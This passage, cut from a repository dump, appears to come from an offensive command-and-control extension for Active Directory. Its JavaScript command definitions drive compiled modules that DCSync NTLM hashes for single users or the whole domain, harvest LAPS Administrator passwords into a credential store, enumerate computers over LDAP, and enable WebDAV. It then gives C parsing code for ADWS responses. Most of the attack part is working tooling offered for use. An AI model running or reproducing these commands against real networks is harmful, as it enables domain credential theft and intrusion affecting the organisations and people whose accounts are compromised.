address\");\n_cmd_dcsync_single.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_dcsync_single.addArgBool(\"--only-nt\", \"Only ntlm hashes\");\n_cmd_dcsync_single.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n\n    function identifyInputType(input) {\n        const usernameRegex = /^[a-zA-Z0-9._-]{1,64}$/;\n        const dnRegex = /^(?:[A-Z]+=[^,]+)(?:,(?:[A-Z]+=[^,]+))*$/i;\n        if (dnRegex.test(input)) {\n            return 1;\n        } else if (usernameRegex.test(input)) {\n            return 0;\n        } else {\n            return 0;\n        }\n    }\n\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_address = parsed_json[\"dc_address\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n    let only_nt = parsed_json[\"--only-nt\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,int,int\", [target, is_dn, ou_path, dc_address, use_ldaps, only_nt]);\n    let bof_path = ax.script_dir() + \"_bin/dcsync-single.\" + ax.arch(id) + \".o\";\n    ax.execute_alias_handler(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `DCSyncing user ${target}...`, dcsync_handler);\n});\n\nvar _cmd_dcsync_all = ax.create_command( \"all\", \"Perform DCSync operations for all users in the domain\", \"dcsync all -ou 'OU=Users,DC=corp,DC=local' -dc dc01.corp.local --ldaps\" );\n_cmd_dcsync_all.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search (optional)\");\n_cmd_dcsync_all.addArgFlagString(\"-dc\", \"dc_address\", false, \"Domain Controller address\");\n_cmd_dcsync_all.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_dcsync_all.addArgBool(\"--only-nt\", \"Only ntlm hashes\");\n_cmd_dcsync_all.addArgBool(\"--only-users\", \"Only User and Trust accounts\");\n_cmd_dcsync_all.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_address = parsed_json[\"dc_address\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n    let only_nt = parsed_json[\"--only-nt\"] ? 1 : 0;\n    let only_users = parsed_json[\"--only-users\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,int,int,int\", [ou_path, dc_address, use_ldaps, only_nt, only_users]);\n    let bof_path = ax.script_dir() + \"_bin/dcsync-all.\" + ax.arch(id) + \".o\";\n    ax.execute_alias_handler(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"DCSyncing all users...\", dcsync_handler);\n});\n\nvar cmd_dcsync = ax.create_command( \"dcsync\", \"Perform DCSync operations (DCSync-BOF)\", \"dcsync {subcommand} [options]\" );\ncmd_dcsync.addSubCommands([_cmd_dcsync_single]);\ncmd_dcsync.addSubCommands([_cmd_dcsync_all]);\n\n\n\n\n\nvar cmd_ldapsearch = ax.create_command(\"ldapsearch\", \"Executes LDAP query\", \"ldapsearch (objectClass=*) -a *,ntsecuritydescriptor -c 40 -s 2 --dc DC1\");\ncmd_ldapsearch.addArgString(\"query\", true);\ncmd_ldapsearch.addArgFlagString( \"-a\", \"attributes\", \"The attributes to retrieve\", \"*\");\ncmd_ldapsearch.addArgFlagInt( \"-c\", \"count\", \"The result max size\", 0);\ncmd_ldapsearch.addArgFlagInt( \"-s\", \"scope\", \"The scope to use: 1 = BASE, 2 = LEVEL, 3 = SUBTREE\", 3);\ncmd_ldapsearch.addArgFlagString( \"--dc\", \"dc\", \"Hostname or IP to perform the LDAP connection on\", \"\");\ncmd_ldapsearch.addArgFlagString( \"--dn\", \"dn\", \"The LDAP query basee\", \"\");\ncmd_ldapsearch.addArgBool( \"--ldaps\", \"Using of LDAPS\");\ncmd_ldapsearch.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let query      = parsed_json[\"query\"];\n    let attributes = parsed_json[\"attributes\"];\n    let count      = parsed_json[\"count\"];\n    let scope      = parsed_json[\"scope\"];\n    let dc         = parsed_json[\"dc\"];\n    let dn         = parsed_json[\"dn\"];\n    let ldaps = 0;\n\n    if (parsed_json[\"--ldaps\"]) { ldaps = 1; }\n\n    let bof_params = ax.bof_pack(\"wstr,cstr,int,int,cstr,cstr,int\", [query, attributes, count, scope, dc, dn, ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/ldapsearch.\" + ax.arch(id) + \".o\";\n    let message = \"BOF implementation: ldapsearch\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\nvar _cmd_ldapq_computers = ax.create_command(\"computers\", \"Get list of computers from ldap\", \"ldapq computers\");\n_cmd_ldapq_computers.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let hook = function (task)\n    {\n        var blocks = task.text.split(\"--------------------\");\n        var arr = [];\n\n        for (var i = 0; i < blocks.length; i++) {\n            var block = blocks[i].trim();\n            if (block.length === 0 || block.indexOf(\"cn:\") === -1) continue;\n\n            var lines = block.split(\"\\n\");\n            var obj = {};\n            for (var j = 0; j < lines.length; j++) {\n                var line = lines[j].trim();\n                if (line.length === 0) continue;\n                var parts = line.split(\":\");\n                var key = parts[0].trim();\n                var value = parts.slice(1).join(\":\").trim();\n                if (key === \"cn\") obj.computer = value;\n                else if (key === \"dNSHostName\") obj.domain = value.split(\".\").slice(1).join(\".\");\n                else if (key === \"operatingSystem\") {\n                    obj.os_desc = value;\n                    if (value.toLowerCase().indexOf(\"windows\") !== -1)    obj.os = \"windows\";\n                    else if (value.toLowerCase().indexOf(\"linux\") !== -1) obj.os = \"linux\";\n                    else if (value.toLowerCase().indexOf(\"mac\") !== -1)   obj.os = \"macos\";\n                    else obj.os = \"unknown\";\n                }\n                else if (key === \"userAccountControl\") {\n                    var uac = parseInt(value, 10);\n                    if ((uac & 2) === 0) continue;\n                }\n            }\n            obj.alive = true;\n            obj.tag = \"\";\n            obj.info = \"collected from ldap\";\n\n            arr.push(obj);\n        }\n        if(arr.length > 0)  ax.targets_add_list(arr);\n\n        return task;\n    }\n\n    let bof_params = ax.bof_pack(\"wstr,cstr,int,int,cstr,cstr,int\", [\"(objectclass=computer)\", \"cn,operatingSystem,userAccountControl,dNSHostName\", 0, 3, \"\", \"\", 0]);\n    let bof_path = ax.script_dir() + \"_bin/ldapsearch.\" + ax.arch(id) + \".o\";\n    let message = \"BOF ldapsearch: query computers\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message, hook);\n});\n\nvar cmd_ldapq = ax.create_command(\"ldapq\", \"Ldap query objects\", \"ldapq computers\");\ncmd_ldapq.addSubCommands([_cmd_ldapq_computers]);\n\n\n\n\nlet readlaps_handler = function (task) {\n    const lines = task.text.split(/\\r?\\n/);\n    let target = \"\";\n\n    const reTarget = /^\\[\\*\\]\\s+Target:\\s+(.+)$/;\n    const reLegacyPass = /^\\[\\+\\]\\s+Legacy\\s+LAPS\\s+Password:\\s+(.+)$/;\n    const reV2Pass = /^\\[\\+\\]\\s+Decrypted\\s+Output:\\s+(.+)$/;\n\n    for (const line of lines) {\n        const trimmed = line.trim();\n        if (!trimmed) continue;\n\n        let m = reTarget.exec(trimmed);\n        if (m) {\n            target = m[1];\n            continue;\n        }\n\n        let password = null;\n        let type = \"laps\";\n\n        m = reLegacyPass.exec(trimmed);\n        if (m) {\n            password = m[1];\n            type = \"laps-legacy\";\n        } else {\n            m = reV2Pass.exec(trimmed);\n            if (m) {\n                password = m[1];\n                type = \"laps-v2\";\n            }\n        }\n\n        if (password && target) {\n            ax.credentials_add_list([{\n                username: \"Administrator\",\n                type: \"plaintext\",\n                password: password,\n                storage: type,\n                realm: target,\n                host: target,\n                tag: \"laps\"\n            }]);\n        }\n    }\n};\n\n\n\n\nvar cmd_readlaps = ax.create_command(\"readlaps\", \"Read LAPS password for a computer\", \"readlaps -dc dc01.domain.local -target WINCLIENT\");\ncmd_readlaps.addArgFlagString(\"-dc\", \"dc\", \"Target domain controller (e.g., 'dc01.domain.local'). Hostname preferred over IP for LDAP.\", \"\");\ncmd_readlaps.addArgFlagString(\"-dn\", \"dn\", \"Root DN (e.g., 'DC=domain,DC=local'). If not specified, derived from agent domain.\", \"\");\ncmd_readlaps.addArgFlagString(\"-target\", \"target\", \"Target computer sAMAccountName (e.g., 'WINCLIENT$')\", \"\");\ncmd_readlaps.addArgFlagString(\"-target-dn\", \"target_dn\", \"Target computer Distinguished Name (e.g., 'CN=WINCLIENT,OU=Computers,DC=domain,DC=local')\", \"\");\ncmd_readlaps.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let dc        = parsed_json[\"dc\"];\n    let dn        = parsed_json[\"dn\"];\n    let target    = parsed_json[\"target\"];\n    let target_dn = parsed_json[\"target_dn\"];\n\n    if (!target && !target_dn) {\n        throw new Error(\"Either -target (sAMAccountName) or -target-dn (Distinguished Name) must be specified\");\n    }\n\n    if (target && target_dn) {\n        throw new Error(\"Cannot specify both -target and -target-dn\");\n    }\n\n    // If -dn not specified, derive from agent domain\n    if (!dn || dn === \"\") {\n        let domain = ax.agent_info(id, \"domain\")\n        if (domain) {\n            let parts = domain.split(\".\");\n            dn = parts.map(part => \"DC=\" + part).join(\",\");\n        } else {\n            throw new Error(\"Could not auto-detect DN. Agent domain not available. Please specify -dn manually.\");\n        }\n    }\n\n    // Strip quotes from target values if present\n    if (dc) {\n        dc = dc.replace(/^['\"]|['\"]$/g, '');\n    }\n    if (target) {\n        target = target.replace(/^['\"]|['\"]$/g, '');\n    }\n    if (target_dn) {\n        target_dn = target_dn.replace(/^['\"]|['\"]$/g, '');\n    }\n\n    // Build the LDAP search filter\n    let searchFilter = \"\";\n    let message = \"\";\n    if (target) {\n        // Ensure target ends with $ for computer accounts if not already present\n        let computerName = target;\n        if (!computerName.endsWith(\"$\")) {\n            computerName = computerName + \"$\";\n        }\n        searchFilter = \"(&(objectClass=computer)(sAMAccountName=\" + computerName + \"))\";\n        message = `Read LAPS password for ${computerName}`;\n    } else {\n        searchFilter = \"(&(objectClass=computer)(distinguishedName=\" + target_dn + \"))\";\n        message = `Read LAPS password for ${target_dn}`;\n    }\n\n    let reportTarget = target ? target : target_dn;\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr,cstr\", [dc, dn, searchFilter, reportTarget]);\n    let bof_path = ax.script_dir() + \"_bin/readlaps.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias_handler(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message, readlaps_handler);\n});\n\n\n\n\n\nvar _cmd_webdav_enable = ax.create_command(\"enable\", \"Enable the WebDAV client service without elevated permissions\", \"webdav enable\");\n_cmd_webdav_enable.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/webdav_enable.\" + ax.arch(id) + \".o\";\n    let message = \"Enable the WebDAV client service\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, message);\n});\n\nvar _cmd_webdav_status = ax.create_command(\"status\", \"Determine if the WebDAV is running on a remote system\", \"webdav status 192.168.0.1,192.168.0.2\");\n_cmd_webdav_status.addArgString(\"hosts\", \"\", \"127.0.0.1\");\n_cmd_webdav_status.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let hosts = parsed_json[\"hosts\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [hosts]);\n    let bof_path = ax.script_dir() + \"_bin/webdav_status.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Check WebDAV status\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\nvar cmd_webdav = ax.create_command(\"webdav\", \"Manage webdav service\", \"webdav enable\");\ncmd_webdav.addSubCommands([_cmd_webdav_enable]);\ncmd_webdav.addSubCommands([_cmd_webdav_status]);\n\n\n\nvar group_exec = ax.create_commands_group(\"AD-BOF\", [cmd_adwssearch, cmd_badtakeover, cmd_dcsync, cmd_ldapsearch, cmd_ldapq, cmd_readlaps, cmd_webdav]);\nax.register_commands_group(group_exec, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"], []);"
  },
  {
    "path": "AD-BOF/adwssearch/adws_parser.h",
    "content": "/*\n * adws_parser.h - ADWS Response Parser\n *\n * Functions for parsing ADWS/NBFSE responses including:\n * - Enumerate/Pull response parsing\n * - Attribute extraction (text, numeric, binary, multi-value)\n * - Object boundary detection\n * - GUID and SID conversion\n * - Base64 encoding for binary data\n */\n\n#ifndef ADWS_PARSER_H\n#define ADWS_PARSER_H\n\n#ifdef BOF\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n#else\n#include <windows.h>\n#endif\n\n#ifdef BOF\ntypedef struct OUTPUT_BUFFER\n{\n    formatp buffer;\n    BOOL initialized;\n} OutputBuffer;\n#else\ntypedef struct OUTPUT_BUFFER\n{\n    char *data;\n    DWORD size;\n    DWORD capacity;\n} OutputBuffer;\n#endif\n\nvoid OutputInit(OutputBuffer *buf);\nvoid OutputPrintf(OutputBuffer *buf, const char *format, ...);\nvoid OutputFlush(OutputBuffer *buf, DWORD objIdx);\nvoid internal_printf(const char *format, ...);\nvoid printoutput(BOOL done);\n\ntypedef struct\n{\n    char name[64];\n    char value[4096];\n} ATTRIBUTE_ENTRY;\n\ntypedef struct\n{\n    DWORD start;\n    DWORD end;\n} OBJECT_BOUNDARY;\n\nBOOL ParseEnumerateResponse(BYTE *response, DWORD responseLen, char *enumContext, DWORD contextSize);\nBOOL ParsePullResponse(BYTE *response, DWORD responseLen, const char *attrFilter, BOOL *hasMore,\n                       DWORD *objectsInThisPull);\n\nchar *ConvertBinaryToBase64(BYTE *data, DWORD len);\nBOOL IsMetadata(const char *str);\nBOOL ExtractAttributeUniversal(BYTE *data, DWORD len, const char *attributeName, char *outValue, DWORD outSize);\nDWORD DiscoverAttributeNames(BYTE *data, DWORD start, DWORD end, char attributeNames[][64], DWORD maxAttrs);\nDWORD DiscoverAttributesInObject(BYTE *data, DWORD start, DWORD end, ATTRIBUTE_ENTRY *attrs, DWORD maxAttrs);\nDWORD FindObjectBoundaries(BYTE *data, DWORD dataLen, OBJECT_BOUNDARY *boundaries, DWORD maxBoundaries);\n\nBOOL ParseEnumerateResponse(BYTE *response, DWORD responseLen, char *enumContext, DWORD contextSize)\n{\n    const char *contextTag = \"EnumerationContext\";\n    DWORD i;\n\n    // Look for EnumerationContext tag\n    for (i = 0; i < responseLen - MSVCRT$strlen(contextTag); i++)\n    {\n        if (MSVCRT$memcmp(response + i, contextTag, MSVCRT$strlen(contextTag)) == 0)\n        {\n            i += MSVCRT$strlen(contextTag);\n\n            while (i < responseLen && response[i] != 0x98 && response[i] != 0x99)\n            {\n                i++;\n            }\n\n            if (i < responseLen && (response[i] == 0x98 || response[i] == 0x99))\n            {\n                i++;\n                BYTE textLen = response[i++];\n\n                if (i + textLen <= responseLen)\n                {\n                    DWORD copyLen = (textLen < contextSize - 1) ? textLen : contextSize - 1;\n                    MSVCRT$memcpy(enumContext, response + i, copyLen);\n                    enumContext[copyLen] = '\\0';\n                    return TRUE;\n                }\n            }\n        }\n    }\n\n    return FALSE;\n}\n\nBOOL IsMetadata(const char *str)\n{\n    const char *metadata[] = {\n        \"xsd:string\", \"xsd:int\", \"xsd:long\", \"xsd:boolean\", \"xsd:dateTime\", \"xsd:base64Binary\", \"LdapSyntax\",\n        \"UnicodeString\", \"DNString\", \"DSDNString\", \"SidString\", \"OctetString\", \"LargeInteger\", \"Integer\", \"Boolean\",\n        \"GeneralizedTime\", \"DirectoryString\", \"DNWithBinary\", \"DNWithString\", \"ObjectIdentifier\",\n        \"GeneralizedTimeString\", \"PrintableString\", \"UTF8String\", \"IA5String\", \"TimeString\", \"Identifier\", \"Syntax\",\n        \"String\",\n        // XML namespace and SOAP metadata\n        \"objectReferenceProperty\", \"value\", \"xsi\", \"type\", \"ad\", \"addata\", \"wsen\", \"Items\", \"domainDNS\", \"xsd\", NULL};\n\n    // Check against known metadata\n    for (int i = 0; metadata[i] != NULL; i++)\n    {\n        if (MSVCRT$strcmp(str, metadata[i]) == 0)\n        {\n            return TRUE;\n        }\n    }\n\n    if (MSVCRT$strlen(str) == 36)\n    {\n        int dashCount = 0;\n        for (int i = 0; i < 36; i++)\n        {\n            if (str[i] == '-')\n                dashCount++;\n        }\n        if (dashCount == 4)\n            return TRUE;\n    }\n\n    if (MSVCRT$strlen(str) == 1 && str[0] >= '0' && str[0] <= '9')\n    {\n        return TRUE;\n    }\n\n    return FALSE;\n}\n\nchar *ConvertBinaryToBase64(BYTE *data, DWORD len)\n{\n    const char *b64chars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n    DWORD outLen = ((len + 2) / 3) * 4 + 1;\n    char *result = (char *)intAlloc(outLen);\n    if (!result)\n        return NULL;\n\n    DWORD i, j;\n    for (i = 0, j = 0; i < len; i += 3, j += 4)\n    {\n        DWORD n = (data[i] << 16) | ((i + 1 < len) ? (data[i + 1] << 8) : 0) | ((i + 2 < len) ? data[i + 2] : 0);\n        result[j] = b64chars[(n >> 18) & 0x3F];\n        result[j + 1] = b64chars[(n >> 12) & 0x3F];\n        result[j + 2] = (i + 1 < len) ? b64chars[(n >> 6) & 0x3F] : '=';\n        result[j + 3] = (i + 2 < len) ? b64chars[n & 0x3F] : '=';\n    }\n    result[j] = '\\0';\n    return result;\n}\n\nBOOL ExtractAttributeUniversal(BYTE *data, DWORD len, const char *attributeName, char *outValue, DWORD outSize)\n{\n    if (!data || !attributeName || !outValue || len == 0 || outSize == 0)\n    {\n        return FALSE;\n    }\n\n    outValue[0] = '\\0';\n\n    DWORD attrLen = MSVCRT$strlen(attributeName);\n\n    // Check if this is a multi-value attribute\n    BOOL isMultiValue =\n        (MSVCRT$_stricmp(attributeName, \"objectClass\") == 0 ||\n         MSVCRT$_stricmp(attributeName, \"memberOf\") == 0 ||\n         MSVCRT$_stricmp(attributeName, \"member\") == 0 ||\n         MSVCRT$_stricmp(attributeName, \"dSCorePropagationData\") == 0 ||\n         MSVCRT$_stricmp(attributeName, \"wellKnownObjects\") == 0 ||\n         MSVCRT$_stricmp(attributeName, \"otherWellKnownObjects\") == 0 ||\n         MSVCRT$_stricmp(attributeName, \"subRefs\") == 0 ||\n         MSVCRT$_stricmp(attributeName, \"repsTo\") == 0 ||\n         MSVCRT$_stricmp(attributeName, \"repsFrom\") == 0 ||\n         MSVCRT$_stricmp(attributeName, \"masteredBy\") == 0 ||\n         MSVCRT$_stricmp(attributeName, \"msDs-masteredBy\") == 0 ||\n         MSVCRT$_stricmp(attributeName, \"servicePrincipalName\") == 0 ||\n         MSVCRT$_stricmp(attributeName, \"msDS-IsDomainFor\") == 0 ||\n         MSVCRT$_stricmp(attributeName, \"msDS-IsPartialReplicaFor\") == 0);\n\n    // Search for the attribute name\n    for (DWORD i = 0; i < len - attrLen; i++)\n    {\n        BOOL match = FALSE;\n        BOOL isAddataPattern = FALSE;\n\n        // Pattern 1: Direct match (filtered responses) - attribute preceded by its length\n        if (i > 0 && data[i - 1] == (BYTE)attrLen && i + attrLen + 2 < len)\n        {\n            BOOL looksLikeAttribute = FALSE;\n            BYTE followingByte = data[i + attrLen];\n            if (followingByte == 0x04 ||                            // Followed by a length byte\n                followingByte == 0x41 ||                            // Followed by ELEMENT\n                followingByte == 0x05 ||                            // Followed by another record\n                (followingByte >= 0x80 && followingByte <= 0x86) || // Numeric value records\n                (followingByte == 0x98 && data[i + attrLen + 1] == 0x0A))\n            { // Text record \"xsd:string\"\n                looksLikeAttribute = TRUE;\n            }\n\n            if (looksLikeAttribute)\n            {\n                match = TRUE;\n                for (DWORD j = 0; j < attrLen; j++)\n                {\n                    if ((data[i + j] | 0x20) != (attributeName[j] | 0x20))\n                    {\n                        match = FALSE;\n                        break;\n                    }\n                }\n            }\n        }\n\n        // Pattern 2: addata.attributeName (unfiltered responses)\n        if (!match && i >= 8 && attrLen > 0)\n        {\n            if (data[i - 8] == 0x41 && data[i - 7] == 0x06 && MSVCRT$memcmp(data + i - 6, \"addata\", 6) == 0 &&\n                data[i - 1] == (BYTE)attrLen)\n            {\n\n                match = TRUE;\n                for (DWORD j = 0; j < attrLen; j++)\n                {\n                    if ((data[i + j] | 0x20) != (attributeName[j] | 0x20))\n                    {\n                        match = FALSE;\n                        break;\n                    }\n                }\n                if (match)\n                    isAddataPattern = TRUE;\n            }\n        }\n\n        if (match)\n        {\n            // Skip past attribute name\n            DWORD j = i + attrLen;\n\n            // Skip metadata patterns\n            const char *skipPatterns[] = {\"xsd:string\",\n                                          \"xsd:int\",\n                                          \"xsd:long\",\n                                          \"xsd:boolean\",\n                                          \"xsd:dateTime\",\n                                          \"xsd:base64Binary\",\n                                          \"LdapSyntax\",\n                                          \"UnicodeString\",\n                                          \"DNString\",\n                                          \"DSDNString\",\n                                          \"SidString\",\n                                          \"OctetString\",\n                                          \"LargeInteger\",\n                                          \"Integer\",\n                                          \"Boolean\",\n                                          \"GeneralizedTime\",\n                                          \"DirectoryString\",\n                                          \"DNWithBinary\",\n                                          \"DNWithString\",\n                                          \"ObjectIdentifier\",\n                                          \"GeneralizedTimeString\",\n                                          \"PrintableString\",\n                                          \"UTF8String\",\n                                          \"IA5String\",\n                                          \"TimeString\",\n                                          \"Identifier\",\n                                          \"Syntax\",\n                                          \"String\",\n                                          NULL};\n\n            // Search for value - increase limits especially for multi-value\n            DWORD maxSearch = isMultiValue ? 5000 : (isAddataPattern ? 500 : 300);\n            DWORD searchLimit = (maxSearch < len - i - attrLen) ? maxSearch : (len - i - attrLen);\n\n            while (j < len && j < i + attrLen + searchLimit)\n            {\n\n                while (j < len && data[j] == 0x00)\n                    j++;\n\n                if (j >= len)\n                    break;\n\n                BOOL isMetadata = FALSE;\n\n                for (int p = 0; skipPatterns[p] != NULL; p++)\n                {\n                    DWORD patLen = MSVCRT$strlen(skipPatterns[p]);\n                    if (j + patLen <= len)\n                    {\n                        if ((data[j] == 0x98 || data[j] == 0x99) && j + 1 < len)\n                        {\n                            BYTE tlen = data[j + 1];\n                            if (tlen == patLen && j + 2 + tlen <= len &&\n                                MSVCRT$memcmp(data + j + 2, skipPatterns[p], patLen) == 0)\n                            {\n                                j += 2 + tlen;\n                                isMetadata = TRUE;\n                                break;\n                            }\n                        }\n                    }\n                }\n\n                if (isMetadata)\n                {\n                    continue;\n                }\n\n                // Look for actual value records\n                BYTE recordType = data[j];\n\n                if (recordType >= 0x80 && recordType <= 0x8F)\n                {\n                    if (isMultiValue)\n                    {\n                        j++;\n                        continue;\n                    }\n\n                    if (recordType < 0x80 || recordType > 0x8F)\n                    {\n                        j++;\n                        continue;\n                    }\n\n                    if (recordType == 0x80 || recordType == 0x81)\n                    {\n                        outValue[0] = '0';\n                        outValue[1] = '\\0';\n                        return TRUE;\n                    }\n                    if (recordType == 0x82)\n                    {\n                        outValue[0] = '1';\n                        outValue[1] = '\\0';\n                        return TRUE;\n                    }\n\n                    switch (recordType)\n                    {\n                    case 0x80:\n                    case 0x81:\n                        outValue[0] = '0';\n                        outValue[1] = '\\0';\n                        return TRUE;\n                    case 0x82:\n                        outValue[0] = '1';\n                        outValue[1] = '\\0';\n                        return TRUE;\n                    case 0x83:\n                        if (j + 1 < len)\n                        {\n                            MSVCRT$sprintf(outValue, \"%d\", (int)(signed char)data[j + 1]);\n                            return TRUE;\n                        }\n                        break;\n                    case 0x84:\n                        if (j + 2 < len)\n                        {\n                            short val = data[j + 1] | (data[j + 2] << 8);\n                            MSVCRT$sprintf(outValue, \"%d\", val);\n                            return TRUE;\n                        }\n                        break;\n                    case 0x85:\n                        if (j + 4 < len)\n                        {\n                            int val = data[j + 1] | (data[j + 2] << 8) | (data[j + 3] << 16) | (data[j + 4] << 24);\n                            MSVCRT$sprintf(outValue, \"%d\", val);\n                            return TRUE;\n                        }\n                        break;\n                    case 0x86:\n                        if (j + 8 < len)\n                        {\n                            long long val = 0;\n                            for (int k = 0; k < 8; k++)\n                            {\n                                val |= ((long long)data[j + 1 + k]) << (k * 8);\n                            }\n                            MSVCRT$sprintf(outValue, \"%I64d\", val);\n                            return TRUE;\n                        }\n                        break;\n                    default:\n                        // For 0x87-0x8F, need length decoding\n                        j++;\n                        continue;\n                    }\n                }\n                else if ((recordType == 0x98 || recordType == 0x99) && j + 1 < len)\n                {\n                    BYTE textLen = data[j + 1];\n                    if (textLen > 0 && textLen < 250 && j + 2 + textLen <= len)\n                    {\n                        BOOL isValueMetadata = FALSE;\n                        for (int p = 0; skipPatterns[p] != NULL; p++)\n                        {\n                            if (textLen == MSVCRT$strlen(skipPatterns[p]) &&\n                                MSVCRT$memcmp(data + j + 2, skipPatterns[p], textLen) == 0)\n                            {\n                                isValueMetadata = TRUE;\n                                break;\n                            }\n                        }\n\n                        if (!isValueMetadata && textLen > 0)\n                        {\n                            if (MSVCRT$_stricmp(attributeName, \"nTSecurityDescriptor\") == 0)\n                            {\n                                // Skip text values for nTSecurityDescriptor\n                                j += 2 + textLen;\n                                continue;\n                            }\n\n                            if (isMultiValue && textLen == 1 && data[j + 2] >= '0' && data[j + 2] <= '9')\n                            {\n                                j += 2 + textLen;\n                                continue;\n                            }\n\n                            if (isMultiValue)\n                            {\n                                BOOL isValidValue = TRUE;\n                                char tempValue[256];\n                                DWORD copyLen = (textLen < 255) ? textLen : 255;\n                                MSVCRT$memcpy(tempValue, data + j + 2, copyLen);\n                                tempValue[copyLen] = '\\0';\n\n                                if (MSVCRT$_stricmp(attributeName, \"objectClass\") == 0)\n                                {\n                                    BOOL hasAlpha = FALSE;\n                                    for (DWORD k = 0; k < copyLen; k++)\n                                    {\n                                        if ((tempValue[k] >= 'a' && tempValue[k] <= 'z') ||\n                                            (tempValue[k] >= 'A' && tempValue[k] <= 'Z'))\n                                        {\n                                            hasAlpha = TRUE;\n                                        }\n                                        else if (tempValue[k] != '-' && tempValue[k] != '_' &&\n                                                 !(tempValue[k] >= '0' && tempValue[k] <= '9'))\n                                        {\n                                            isValidValue = FALSE;\n                                            break;\n                                        }\n                                    }\n                                    if (!hasAlpha)\n                                        isValidValue = FALSE;\n                                }\n                                else if (MSVCRT$_stricmp(attributeName, \"memberOf\") == 0)\n                                {\n                                    if (!MSVCRT$strstr(tempValue, \"CN=\") && !MSVCRT$strstr(tempValue, \"cn=\"))\n                                    {\n                                        isValidValue = FALSE;\n                                    }\n                                }\n                                else if (MSVCRT$_stricmp(attributeName, \"dSCorePropagationData\") == 0)\n                                {\n                                    if (copyLen < 16 || tempValue[copyLen - 1] != 'Z' ||\n                                        (copyLen > 2 && tempValue[copyLen - 3] != '.'))\n                                    {\n                                        isValidValue = FALSE;\n                                    }\n                                }\n                                else if (MSVCRT$_stricmp(attributeName, \"wellKnownObjects\") == 0 ||\n                                         MSVCRT$_stricmp(attributeName, \"otherWellKnownObjects\") == 0)\n                                {\n                                    if (copyLen < 5 || tempValue[0] != 'B' || tempValue[1] != ':')\n                                    {\n                                        isValidValue = FALSE;\n                                    }\n                                }\n\n                                if (isValidValue)\n                                {\n                                    if (MSVCRT$strlen(outValue) > 0)\n                                    {\n                                        MSVCRT$strcat(outValue, \", \");\n                                    }\n                                    DWORD currentLen = MSVCRT$strlen(outValue);\n                                    DWORD remainingSpace = outSize - currentLen - 1;\n                                    if (copyLen > remainingSpace)\n                                        copyLen = remainingSpace;\n                                    MSVCRT$strncat(outValue, tempValue, copyLen);\n                                }\n                                j += 2 + textLen;\n                                continue;\n                            }\n                            else\n                            {\n                                DWORD copyLen = (textLen < outSize - 1) ? textLen : outSize - 1;\n                                MSVCRT$memcpy(outValue, data + j + 2, copyLen);\n                                outValue[copyLen] = '\\0';\n                                return TRUE;\n                            }\n                        }\n                    }\n                }\n                else if ((recordType == 0x9E || recordType == 0x9F) && j + 1 < len)\n                {\n                    BYTE binLen = data[j + 1];\n                    if (binLen > 0 && j + 2 + binLen <= len)\n                    {\n                        if (MSVCRT$_stricmp(attributeName, \"objectGUID\") == 0)\n                        {\n                            BYTE guidBytes[16];\n                            MSVCRT$memcpy(guidBytes, data + j + 2, binLen);\n\n                            if (binLen == 15)\n                            {\n                                DWORD nextPos = j + 2 + binLen;\n                                if (nextPos + 2 < len && data[nextPos] == 0x9F && data[nextPos + 1] == 0x01)\n                                {\n                                    guidBytes[15] = data[nextPos + 2];\n                                }\n                                else\n                                {\n                                    guidBytes[15] = 0;\n                                }\n                            }\n\n                            MSVCRT$sprintf(\n                                outValue, \"%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x\",\n                                guidBytes[3], guidBytes[2], guidBytes[1], guidBytes[0], guidBytes[5], guidBytes[4],\n                                guidBytes[7], guidBytes[6], guidBytes[8], guidBytes[9], guidBytes[10], guidBytes[11],\n                                guidBytes[12], guidBytes[13], guidBytes[14], guidBytes[15]);\n                            return TRUE;\n                        }\n                        else if (MSVCRT$_stricmp(attributeName, \"objectSid\") == 0 ||\n                                 MSVCRT$_stricmp(attributeName, \"objectsid\") == 0)\n                        {\n                            BYTE sidBytes[68];\n                            DWORD totalSidLen = binLen;\n                            MSVCRT$memcpy(sidBytes, data + j + 2, binLen);\n\n                            DWORD nextPos = j + 2 + binLen;\n                            if (nextPos < len && data[nextPos] == 0x9F)\n                            {\n                                BYTE contLen = data[nextPos + 1];\n                                if (nextPos + 2 + contLen <= len)\n                                {\n                                    MSVCRT$memcpy(sidBytes + binLen, data + nextPos + 2, contLen);\n                                    totalSidLen = binLen + contLen;\n                                }\n                            